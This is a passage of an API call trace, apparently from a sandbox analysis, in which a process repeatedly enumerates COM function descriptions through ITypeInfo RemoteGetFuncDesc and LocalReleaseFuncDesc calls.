returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x56, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x57, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x58, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x59, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.367] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.367] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x60, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x61, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x62, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x63, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x64, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x65, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x66, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x67, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x68, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x69, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x70, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.368] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x71, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.368] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x72, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x73, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x74, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x75, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x76, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x77, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x78, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x79, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x80, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x81, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x82, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.369] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x83, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.369] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x84, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x85, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x86, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x87, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x88, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x89, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x90, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x91, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x92, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x93, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x94, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x95, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x96, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.370] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.370] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x97, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x98, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x99, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9a, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9b, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9c, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9d, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9e, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9f, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa0, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa1, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa2, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa3, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa4, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa5, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa6, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa7, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa8, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa9, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.371] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.371] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xaa, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xab, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xac, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xad, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xae, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xaf, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb0, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb1, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb2, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb3, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb4, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: 